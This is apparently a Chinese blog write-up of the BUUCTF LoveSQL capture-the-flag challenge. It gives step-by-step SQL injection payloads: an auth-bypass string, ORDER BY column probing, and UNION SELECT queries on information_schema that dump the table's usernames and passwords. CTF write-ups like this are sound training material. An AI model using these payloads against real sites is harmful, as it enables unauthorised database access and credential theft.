BUUCTF(八)[极客大挑战 2019]LoveSQL

BUUCTF

1.打开题目

注入方法可参考NewsCenter
2.测试注入点

username: 1'or'1=1
password: 1'or'1=1


登录成功,说明存在注入漏洞。
下面测试位点个数。

/check.php?username=admin' order by 3%23&password=1   正常回显
/check.php?username=admin' order by 4%23&password=1   报错

%23为“#”符号的URL编码形式

3.查库
联合查询注入 可参考NewsCenter

/check.php?username=-1'union select 1,2,database()%23&password=1

4.查表

/check.php?username=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1


当前库下有两个表geekuser l0ve1ysq1,我们先看看l0ve1ysq1

5.查字段

/check.php?username=-1' union select 1,2, group_concat(column_name)  from information_schema.columns where table_name=0x6c3076653179737131%23&password=1

注:
0x代表16进制
6c3076653179737131l0ve1ysql的16进制形式

6.查值

/check.php?username=-1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

posted @ 2021-01-29 15:22  HUGBOY  阅读(121)  评论(0编辑  收藏  举报